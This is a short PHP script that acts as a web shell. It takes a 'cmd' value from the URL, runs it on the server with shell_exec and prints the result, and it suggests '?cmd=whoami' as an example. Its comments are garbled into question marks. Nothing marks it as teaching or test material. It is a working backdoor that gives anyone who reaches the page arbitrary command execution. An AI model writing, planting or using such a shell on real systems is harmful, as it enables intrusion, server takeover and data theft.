<?php// ????? ??? ?????? ?????? ??? ????? ??????if(isset($_GET['cmd'])) {    $command = $_GET['cmd'];    // ????? ????? ??? ????? ???    $output = shell_exec($command);    echo "<pre>Output:\n" . htmlspecialchars($output) . "</pre>";} else {    echo "Please provide a command in the URL, e.g. ?cmd=whoami";}?>